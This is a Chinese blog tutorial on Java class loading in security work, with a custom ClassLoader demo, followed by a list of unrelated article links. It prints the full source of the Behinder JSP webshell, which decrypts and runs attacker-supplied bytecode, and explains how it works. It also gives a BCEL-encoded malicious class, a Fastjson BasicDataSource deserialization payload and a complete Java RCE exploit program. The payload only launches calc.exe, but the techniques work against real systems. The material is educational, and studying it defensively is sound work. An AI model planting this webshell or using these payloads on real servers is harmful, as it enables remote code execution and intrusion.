java安全中的类加载
java安全中的类加载
提前声明: 本文所涉及的内容仅供参考与教育目的,旨在普及网络安全相关知识。其内容不代表任何机构、组织或个人的权威建议,亦不构成具体的操作指南或法律依据。作者及发布平台对因使用本文信息直接或间接引发的任何风险、损失或法律纠纷不承担责任。
对应的代码我发在了github上,有兴趣的师傅可以看一下
https://github.com/LINGX5/javaClassloader
一、 ClassLoader(类加载机制)
Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的 native方法(defineclass0/1/2)来定义一个java.lang.Class实例。
/*** Defines a class of the given flags via Lookup.defineClass.** @param loader the defining loader* @param lookup nest host of the Class to be defined* @param name the binary name or {@code null} if not findable* @param b class bytes* @param off the start offset in {@code b} of the class bytes* @param len the length of the class bytes* @param pd protection domain* @param initialize initialize the class* @param flags flags* @param classData class data*/static native Class<?> defineClass0(ClassLoader loader,Class<?> lookup,String name,byte[] b, int off, int len,ProtectionDomain pd,boolean initialize,int flags,Object classData);static native Class<?> defineClass1(ClassLoader loader, String name, byte[] b, int off, int len,ProtectionDomain pd, String source);static native Class<?> defineClass2(ClassLoader loader, String name, java.nio.ByteBuffer b,int off, int len, ProtectionDomain pd,String source);
可以看到这是classloader类中的三个native方法,三个方法是 Java 虚拟机(JVM)中用于动态定义类的本地方法(Native Methods),它们没有方法体,因为它们的实现是由 JVM 在底层(通常是 C/C++ 代码)提供的。这些方法的主要作用是允许 Java 程序在运行时动态加载和定义类,而不是在编译时静态加载。
主要流程图:
1.字节码解析:JVM 会解析传入的字节码(无论是 byte[] 还是 ByteBuffer),验证其是否符合 Java 类文件格式(Class File Format)。
如果字节码无效,JVM 会抛出 ClassFormatError。2.类加载:JVM 会创建一个内部类结构(Klass),并将其注册到类加载器(ClassLoader)的类表中。
如果类已经存在,JVM 会抛出 LinkageError。3.安全验证:JVM 会检查 ProtectionDomain,确保类加载操作符合安全管理器的要求。
如果安全验证失败,JVM 会抛出 SecurityException。4.初始化:如果 initialize 参数为 true,JVM 会执行类的静态初始化块(<clinit>)。5.返回类对象:最终,JVM 会返回一个 Class<?> 对象,表示新定义的类。
ClassLoader类有如下核心方法:
1.loadclass(加载指定的Java类)
2.findClass(查找指定的Java类)
3.findLoadedclass(查找JVM已经加载过的类)
4.defineclass(定义一个Java类)
5.resolveC1ass(链接指定的Java类)
Java类加载方式分为显式
和隐式
,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
二、以helloword为例
理解Java类加载机制并非易事,这里我们以一个Java的HelloWorld来学习 ClassLoader
。
ClassLoader
加载 HelloWorld
类重要流程如下:
ClassLoader
会调用public Class<?> loadClass(String name)
方法加载HelloWorld
类。- 调用
findLoadedClass
方法检查TestHelloWorld
类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载HelloWorld
类,否则使用JVM的Bootstrap ClassLoader
加载。 - 如果上一步无法加载
HelloWorld
类,那么调用自身的findClass
方法尝试加载HelloWorld
类。 - 如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的HelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。 - 如果调用
loadClass
的时候传入的resolve
参数为true,那么还需要调用resolveClass
方法链接类,默认为false。 - 返回一个被JVM加载后的
java.lang.Class
类对象。
三、自定义classloader
我们看一个示例
1、testclassloader文件
import java.lang.reflect.Method;public class testClassloader extends ClassLoader{// 定义类名称public static String CLASS_NAME = "HelloWorld";// 定义类字节码public static byte[] CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 61, 0, 17, 10, 0, 2,0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47,79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86,8, 0, 8, 1, 0, 13, 72, 101, 108, 108, 111, 44, 32, 87, 111, 114, 108, 100, 33, 7, 0,10, 1, 0, 10, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 4, 67, 111, 100,101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1,0, 10, 104, 101, 108, 108, 111, 119, 111, 114, 108, 100, 1, 0, 20, 40, 41, 76, 106, 97,118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111,117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114,108, 100, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6,0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12,0, 0, 0, 6, 0, 1, 0, 0, 0, 1, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1,0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 15, 0,0, 0, 2, 0, 16};// 重写findClass方法public Class<?> findClass(String name) throws ClassNotFoundException {// 如果类名称匹配if (CLASS_NAME.equals(name)) {// 返回类字节码return defineClass(name, CLASS_BYTES, 0, CLASS_BYTES.length);}// 否则调用父类方法return super.findClass(name);}public static void main(String[] args) {// 创建自定义类加载器testClassloader loader = new testClassloader();try{// 使用加载器加载HelloWorld类Class<?> aClass = loader.loadClass(CLASS_NAME);// 利用类反射创建HelloWorld对象Object instance = aClass.getDeclaredConstructor().newInstance();// 反射获取helloworld方法Method method = instance.getClass().getMethod("helloworld");// 反射调用helloworld方法String str = (String)method.invoke(instance);System.out.println(str);}catch (Exception e){System.out.println(e);}}}
这里CLASS_BYTES是HelloWord.java编译出来的class文件的字节码数组
2、HelloWord文件
public class HelloWorld {public void helloworld() {System.out.println("Hello World!");}
}
这里就简单定义了一个helloworld()方法,编译为class文件
3、class2Bytes文件
这个文件实现把class转化为byte数组的功能,封装了一个转化方法将字节码转化为数组
package classLoader;import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Arrays;public class Class2Bytes {public byte[] class2bytes(File classFile) {try {FileInputStream fis = new FileInputStream(classFile);ByteArrayOutputStream baos = new ByteArrayOutputStream();int bytesRead = 0;byte[] bytes = new byte[4096];while ((bytesRead = fis.read(bytes, 0, 4096)) != -1) {baos.write(bytes, 0, bytesRead);}byte[] classBytes = baos.toByteArray();return classBytes;} catch (Exception e) {System.out.println("转换出错: " + e.getMessage());e.printStackTrace();}return null;}
}
4、执行结果
而最终的结果是只需要一个testClassloader
文件,就可以直接运行输出Hello, World!
classloader类加载器把CLASS_BYTES
这个数组(HelloWorld.class文件内容)直接加载进了jvm虚拟机,通过类反射的操作进行HelloWorld对象
实例化和helloworld()
方法的调用
四、ClassLoader隔离机制
核心概念
-
类加载器父子关系
创建类加载器时可指定父类加载器。默认遵循双亲委派模型(优先委派父类加载器加载类)。
-
类加载隔离条件
若两个类加载器无父子关系且未共享父类加载器,则它们可以加载同名类(例如从相同路径加载的User.class
),但会被 JVM 视为完全不同的类。 -
跨类加载器调用限制
同级类加载器(无父子关系的平级类加载器)加载的类:- 无法直接通过类型转换或静态引用访问对方的类。
- 必须通过反射获取目标类的
Class
对象,再动态调用方法。
示例
// 类加载器 A 加载的类
ClassLoader loaderA = new CustomClassLoader(parentLoader);
Class<?> classA = loaderA.loadClass("com.example.Demo");// 类加载器 B 加载的类
ClassLoader loaderB = new CustomClassLoader(parentLoader);
Class<?> classB = loaderB.loadClass("com.example.Demo");// 以下操作会失败:类类型不兼容
// Demo objA = (Demo) classA.newInstance(); // 必须通过反射调用
Object instanceA = classA.newInstance();
Method method = classA.getMethod("execute");
method.invoke(instanceA);
分析
类的身份 = 类加载器 + 全限定类名。
-
类加载器的隔离性
- 每个类加载器拥有独立的命名空间,即使两个类加载器共享同一个父类加载器,它们加载的类也互不干扰。
- JVM 通过「类全限定名 + 类加载器」的组合唯一标识一个类。
-
示例中的实际内存状态
loaderA
加载的Demo
类 → 记为Demo@LoaderA
loaderB
加载的Demo
类 → 记为Demo@LoaderB
- 两个类在 JVM 中独立存在,彼此不可见,也不会被覆盖。
-
为什么强制转换失败?
Demo demoA = (Demo) instanceA; // 实际等价于: Demo@SystemClassLoader demoA = (Demo@SystemClassLoader) instanceA;
五、JSP自定义类加载后门
以冰蝎为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击,其中equals方法传入的pageContext对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。
冰蝎源码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}
%><%if (request.getMethod().equals("POST")) {String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u", k);Cipher c = Cipher.getInstance("AES");c.init(2, new SecretKeySpec(k.getBytes(), "AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>
从冰蝎的源码不难看出,他就是基于classloader原理开发的后门文件。
源码分度解析
最后一行调用的方法比较多我们拆开来看
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES")); // 2对应解密模式(Cipher.DECRYPT_MODE)
-
初始化Cipher:使用AES算法创建解密实例,模式为
Cipher.DECRYPT_MODE
(值2)。 -
密钥规范:通过
SecretKeySpec
将字符串密钥转换为AES所需的密钥格式。
byte[] encryptedData = new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine());
byte[] decryptedData = c.doFinal(encryptedData); // AES解密
- 读取请求体:从POST请求中读取一行Base64编码的加密数据。
- 解密数据:使用AES密钥解密数据,得到原始的字节码(
.class
文件内容)。
ClassLoader customLoader = new U(this.getClass().getClassLoader());
Class maliciousClass = customLoader.g(decryptedData); // 调用defineClass加载类
Object instance = maliciousClass.newInstance(); // 实例化类
instance.equals(pageContext); // 触发恶意代码
- 自定义类加载器:通过继承
ClassLoader
的U
类绕过安全限制,暴露defineClass
方法。 - 加载恶意类:将解密后的字节码动态加载为Java类。
- 执行代码:实例化类并调用
equals
方法,传入pageContext
对象(提供JSP上下文,便于攻击者操作)。
六、BCEL ClassLoader
正常的classloader加载类时,要有两部分CLASS_NAME和CLASS_BYTES
BCEL Classloader特性:可以将名称直接加载为类
BCEL(Apache Commons BCE)是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名 org.apache.bcel.util.ClassLoader 为 com.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有 $$BCEL$$
标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。
流程
[特殊类名] ↓ $$BCEL$$ + EncodedBytecode ↓ 解码为字节数组 (byte[]) ↓ defineClass() → JVM Class
BCEL攻击原理
当BCEL的 com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass()方法 加载一个类名中带有 $$BCEL$$
的类时会截取出 $$BCEL$$
后面的字符串,然后使用 com.sun.org.apache.bcel.internal.classfile.Utility的decode()方法将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用 defineClass 注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。
源码
关键的两个方法
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {Class cl = null;if ((cl = (Class)this.classes.get(class_name)) == null) {for(int i = 0; i < this.ignored_packages.length; ++i) {if (class_name.startsWith(this.ignored_packages[i])) {cl = this.getParent().loadClass(class_name);break;}}if (cl == null) {JavaClass clazz = null;if (class_name.indexOf("$$BCEL$$") >= 0) {clazz = this.createClass(class_name); // 调用createClass} else {if ((clazz = this.repository.loadClass(class_name)) == null) {throw new ClassNotFoundException(class_name);}clazz = this.modifyClass(clazz);}if (clazz != null) {byte[] bytes = clazz.getBytes();cl = this.defineClass(class_name, bytes, 0, bytes.length);} else {cl = Class.forName(class_name);}}if (resolve) {this.resolveClass(cl);}}this.classes.put(class_name, cl);return cl;
}protected JavaClass createClass(String class_name) {int index = class_name.indexOf("$$BCEL$$");// 截取类名String real_name = class_name.substring(index + 8);JavaClass clazz = null;try {// 解码类名byte[] bytes = Utility.decode(real_name, true);// 转化为实例ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");clazz = parser.parse();} catch (Throwable var8) {Throwable e = var8;e.printStackTrace();return null;}ConstantPool cp = clazz.getConstantPool();ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(), (byte)7);ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(), (byte)1);name.setBytes(class_name.replace('.', '/'));return clazz;
}
BCEL编码
调用bcel编码方法,对class字节码文件进行编码
public static String bcelEncode(File classFile) throws IOException {return "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);}
BCEL解码
解码在com.sun.org.apache.bcel.internal.util.ClassLoader的createClass()方法中
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
byte[] bytes = Utility.decode(real_name, true);
攻击示例
我们准备一个evilClass类,比较简单。就是在实例化的时候会执行打开计算器命令
public class evilClass {static {try {Runtime.getRuntime().exec("calc.exe");} catch (Exception e) {e.printStackTrace();}}/*public static void main(String[] args) {evilClass evil = new evilClass();}*/
}
把它编译为class字节码
我们通过BCEL加载到JVM,并实例化执行
testBCELClassLoader代码
package BCEL;import classLoader.Class2Bytes;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;import java.io.File;
import java.io.IOException;
import java.util.Arrays;public class testBCELClassLoader {/*** 将class文件转成字节数组,并使用BCEL进行编码* @param classFile* @return* @throws IOException*/public String BCELencode(File classFile) throws Exception {Class2Bytes class2Bytes = new Class2Bytes();byte[] bytes = class2Bytes.class2bytes(classFile);
// System.out.println(Arrays.toString(bytes));String ClassName = "$$BCEL$$" + Utility.encode(bytes, true);return ClassName;}/*** 使用BCEL类加载器加载恶意类* @param ClassName* @throws Exception*/public void testClassLoader(String ClassName) throws Exception {// 创建BCEL类加载器ClassLoader BCELClassLoader = new ClassLoader();// 加载获得类实例,同时执行恶意代码 evilClass 1,2,3三种反射实例化类的方法都是可行的// 1/*Class.forName(ClassName, true, BCELClassLoader);*/// 2/*Class<?> clazz = BCELClassLoader.loadClass(ClassName);clazz.getDeclaredConstructor().newInstance();*/// 3BCELClassLoader.loadClass(ClassName).newInstance();}public static void main(String[] args) throws Exception {testBCELClassLoader testBCELClassLoader = new testBCELClassLoader();String ClassName = testBCELClassLoader.BCELencode(new File("src/main/java/BCEL/evilClass.class"));System.out.println(ClassName);testBCELClassLoader.testClassLoader(ClassName);}
}
结果
成功执行了evil类中的命令
七、BCEL Fastjson链条分析
Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链
攻击代码示例
{"@type": "org.apache.commons.dbcp.BasicDataSource","driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$ffeP$c9N$CA$U$acf$9b$c5a$X$dc$b7$93$c0$B$3e$A$f4B$f4$o$8a$R$a2$e7$a6$ed$90$c6a$86$cc$M$84$3f$f2$cc$F$8d$H$3f$c0$8f2$be$99$Q$m$b1$P$af$bb$aa_$d5$5b$7e$7e$bf$be$B$5c$e1$dcD$Mq$N$J$LI$a4$Yr$p$3e$e3$N$9b$3b$c3Fw0$92$o$60H$b5$94$a3$82k$86x$a5$falB$87$a1$c1$b4$b0$D$8b$n$bfI$7f$9a$3a$81$gK$Gs$u$835$uU$aa$9d$7f9M$j$Z$G$5dp$5b$d4$e5$5c$86$9e9$Ly$U$Y$S$84$F$c3eeK$d5$L$3c$e5$M$9b$dbF$8f$9e$x$a4$ef75$ec2$U7$fc$cd$5c$c8I$a0$5c$c7D$Re$L$7b$e1L$d9$J$e9$83$5e$c0$c5$5b$df$e3Bj8$600$e4L$d9m$9b$fb$3e$Vm$bb$af$d4k$b6$a3$i$f90$j$P$a4$d7$e7$D$9b$Y$bd$r$ec$d5$f0$e9H$7f$cf$t$ab$_$b3$e7N$3d$noU$I2k$b3z$d8$L$$$b0Ok$NO$M$y$5c$y$c5CB$tt3$ba$93$b5$P$b0$F$3d$Y$8e$u$a6$o2Nk8$5e$a7v$p$vP$f8$84VH$_$91$7dy$87$7eW$5b$a2$b4$88x$D$W$8d$Y$8b$f4e$w$R$ba$Y$R$ab$nMNy$98T$O$84b$j$N$c5$E$89N$a3$7e$ce$fe$A$Pu$k$Y$fc$B$A$A","driverClassLoader": {"@type": "org.apache.bcel.util.ClassLoader"}
}
FastJson自动调用setter方法修改 org.apache.commons.dbcp.BasicDataSource 类的 driverClassName 和 driverClassLoader 值,driverClassName 是经过BCEL编码后的 com.anbai.sec.classLoader.TestBCELClass 类字节码,driverClassLoader 是一个由FastJson创建的 org.apache.bcel.util.ClassLoader 实例。
Fastjson在autotype开启时,碰到@type字段时,会实例化相应的类,并把后续的字段按照属性:值
的形式在类中进行封装
BasicDataSource 类的主要漏洞代码:
BasicDataSource类
实现了javax.sql.DataSource
接口,部分版本在属性注入完成后(如driverClassName
设置),会自动尝试初始化驱动以验证配置有效性。当driverClassName
被注入时,BasicDataSource
可能直接尝试加载驱动类(通过Class.forName()
),从而触发createConnectionFactory()
。
完整调用链
JSON.parseObject()→ 反序列化 BasicDataSource 对象→ 注入 driverClassLoader=BCEL ClassLoader→ 注入 driverClassName=$$BCEL$$... → BasicDataSource 初始化触发 createConnectionFactory()→ Class.forName(driverClassName, true, driverClassLoader)→ BCEL ClassLoader 加载并初始化恶意类→ 静态代码块/构造函数中的代码被执行
完整EXP
package BCEL;import classLoader.Class2Bytes;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.classfile.Utility;import java.io.File;
import java.util.LinkedHashMap;
import java.util.Map;public class fastjsonRCE {public static void main(String[] args) throws Exception {// 构造BCEL特定格式的名称字符串byte[] bytes = new Class2Bytes().class2bytes(new File("src/main/java/BCEL/evilClass.class"));String ClassName = "$$BCEL$$" + Utility.encode(bytes, true);System.out.println(ClassName);// 创建一个Map对象, 用于存储要序列化的数据Map<String, Object> exp = new LinkedHashMap<>();exp.put("@type", "org.apache.commons.dbcp.BasicDataSource");exp.put("driverClassName",ClassName);// 创建Map对象,存放BCELclassloaderMap<String, Object> bcel = new LinkedHashMap<>();bcel.put("@type", "org.apache.bcel.util.ClassLoader");exp.put("driverClassLoader", bcel);String strExp = JSON.toJSONString(exp);System.out.println(strExp);JSONObject jsonObject = JSON.parseObject(strExp);System.out.println(jsonObject);}
}
结果
看到弹出计算机成功
相关文章:

java安全中的类加载
java安全中的类加载 提前声明: 本文所涉及的内容仅供参考与教育目的,旨在普及网络安全相关知识。其内容不代表任何机构、组织或个人的权威建议,亦不构成具体的操作指南或法律依据。作者及发布平台对因使用本文信息直接或间接引发的任何风险、损失或法律纠…...
Node.js调用DeepSeek Api 实现本地智能聊天的简单应用
在人工智能快速发展的今天,如何快速构建一个智能对话应用成为了开发者们普遍关注的话题。本文将为大家介绍一个基于Node.js的命令行聊天应用,它通过调用硅基流动(SiliconFlow)的API接口,实现了与DeepSeek模型的智能对话…...

分布式服务框架 如何设计一个更合理的协议
1、概述 前面我们聊了如何设计一款分布式服务框架的问题,并且编码实现了一个简单的分布式服务框架 cheese, 目前 cheese 基本具备分布式服务框架的基本功能。后面我们又引入了缓存机制,以及使用Socket替代了最开始的 RestTemplate。并且还学习了网络相关…...
Unity使用iTextSharp导出PDF-02基础结构及设置中文字体
基础结构 1.创建一个Document对象 2.使用PdfWriter创建PDF文档 3.打开文档 4.添加内容,调用文档Add方法添加内容时,内容写入到输出流中 5.关闭文档 using UnityEngine; using iTextSharp.text; using System.IO; using iTextSharp.text.pdf; using Sys…...
Kafka因文件句柄数过多导致挂掉的排查与解决
一、问题现象 在k8s集群中部署了多个服务,包括Kafka、TDengine集群和Java等。这些服务使用NFS作为持久化存储方案。最近遇到了一个问题:Kafka频繁报错并最终挂掉。错误日志如下: 2025-02-09T09:39:07,022] INF0 [LogLoader partition__cons…...
【LeetCode Hot100 多维动态规划】最小路径和、最长回文子串、最长公共子序列、编辑距离
多维动态规划 机器人路径问题思路代码实现 最小路径和问题动态规划思路状态转移方程边界条件 代码实现 最长回文子串思路代码实现 最长公共子序列(LCS)题目描述解决方案 —— 动态规划1. 状态定义2. 状态转移方程3. 初始化4. 代码实现 编辑距离ÿ…...
PRC框架-Dubbo
RPC框架 RPC(Remote Procedure Call,远程过程调用)框架是一种允许客户端通过网络调用服务器端程序的技术。以下是常见的RPC框架及其特点: 1. 基于HTTP/REST的RPC框架 特点:简单易用,与Web开发无缝集成&am…...

智能检测摄像头模块在客流统计中的应用
工作原理 基于视频分析技术:智能检测摄像头模块通过捕捉监控区域内的视频画面,运用图像识别算法对视频中的人体进行检测、跟踪和分析。可以识别出人体的轮廓、姿态等特征,进而区分不同的个体,实现对客流的统计。 基于红外感应技…...

[LLM面试题] 指示微调(Prompt-tuning)与 Prefix-tuning区别
一、提示调整(Prompt Tuning) Prompt Tuning是一种通过改变输入提示语(input prompt)以获得更优模型效果的技术。举个例子,如果我们想将一条英语句子翻译成德语,可以采用多种不同的方式向模型提问,如下图所示…...

【CubeMX+STM32】SD卡 U盘文件系统 USB+FATFS
本篇,将使用CubeMXKeil, 创建一个 USBTF卡存储FatFS 的虚拟U盘读写工程。 目录 一、简述 二、CubeMX 配置 SDIO DMA FatFs USB 三、Keil 编辑代码 四、实验效果 串口助手,实现效果: U盘,识别效果: 一、简述 上…...
在JVM的栈(虚拟机栈)中,除了栈帧(Stack Frame)还有什么?
在JVM的栈(虚拟机栈)中,除了栈帧(Stack Frame),还有其他一些与方法调用相关的重要信息。栈的主要作用是存储方法调用的执行过程中的上下文信息,栈帧是其中最关键的组成部分。 栈的组成 栈帧&am…...
# 解析Excel文件:处理Excel xlsx file not supported错误 [特殊字符]
解析Excel文件:处理Excel xlsx file not supported错误 🧩 嘿,数据分析的小伙伴们!👋 我知道在处理Excel文件的时候,很多人可能会遇到这样一个错误:Excel xlsx file not supported。别担心&…...
图片下载不下来?即便点了另存为也无法下载?两种方法教你百分之百下载下来
前言,我要讲的是网站没有禁鼠标右键,可以右键,也可以打开控制台,图片也不用付费这种。 一、用鼠标按住图片直接往桌面拖动,也可以打开开发者工具,在里面往外拖。 二、这个方法很有意思,在电脑的…...
Unity项目实战-Player玩家控制脚本实现
玩家控制脚本设计思路 1. 代码演变过程 1.1 初始阶段:单一Player类实现 最初的设计可能是一个包含所有功能的Player类: public class Player : MonoBehaviour {private CharacterController controller;private Animator animator;[SerializeField] …...
CP AUTOSAR标准之ICUDriver(AUTOSAR_SWS_ICUDriver)(更新中……)
1 简介和功能概述 该规范指定了AUTOSAR基础软件模块ICU驱动程序的功能、API和配置。 ICU驱动程序是一个使用输入捕获单元(ICU)来解调PWM信号、计数脉冲、测量频率和占空比、生成简单中断和唤醒中断的模块。 ICU驱动程序提供服务 信号边缘通知控制唤醒中断周期信号时间测…...
Python3 ImportError: cannot import name ‘XXX‘ from ‘XXX‘
个人博客地址:Python3 ImportError: cannot import name XXX from XXX | 一张假钞的真实世界 例如如下错误: $ python3 git.py Traceback (most recent call last):File "git.py", line 1, in <module>from git import RepoFile &quo…...

[学习笔记] Kotlin Compose-Multiplatform
Compose-Multiplatform 原文:https://github.com/zimoyin/StudyNotes-master/blob/master/compose-multiplatform/compose.md Compose Multiplatform 是 JetBrains 为桌面平台(macOS,Linux,Windows)和Web编写Kotlin UI…...

【R语言】t检验
t检验(t-test)是用于比较两个样本均值是否存在显著差异的一种统计方法。 t.test()函数的调用格式: t.test(x, yNULL, alternativec("two.sided", "less", "greater"), mu0, pairedFALSE, var.equalFALSE, co…...
flutter ListView Item复用源码解析
Flutter 的 ListView 的 Item 复用机制是其高性能列表渲染的核心,底层实现依赖于 Flutter 的渲染管线、Element 树和 Widget 树的协调机制。以下是 ListView 复用机制的源码级解析,结合关键类和核心逻辑进行分析。 1. ListView 的底层结构 ListView 的复…...
Spring Boot 配置 Mybatis 读写分离
JPA 的读写分离配置不能应用在 Mybatis 上, 所以 Mybatis 要单独处理 为了不影响原有代码, 使用了增加拦截器的方式, 在拦截器里根据 SQL 的 CRUD 来路由到不同的数据源 需要单独增加Mybatis的配置 Beanpublic SqlSessionFactory sqlSessionFactory(DataSource dataSource) t…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?
大家好,欢迎来到《云原生核心技术》系列的第七篇! 在上一篇,我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在,我们就像一个拥有了一块崭新数字土地的农场主,是时…...

超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
代理篇12|深入理解 Vite中的Proxy接口代理配置
在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...

【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
嵌入式常见 CPU 架构
架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...

论文阅读:LLM4Drive: A Survey of Large Language Models for Autonomous Driving
地址:LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂,正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...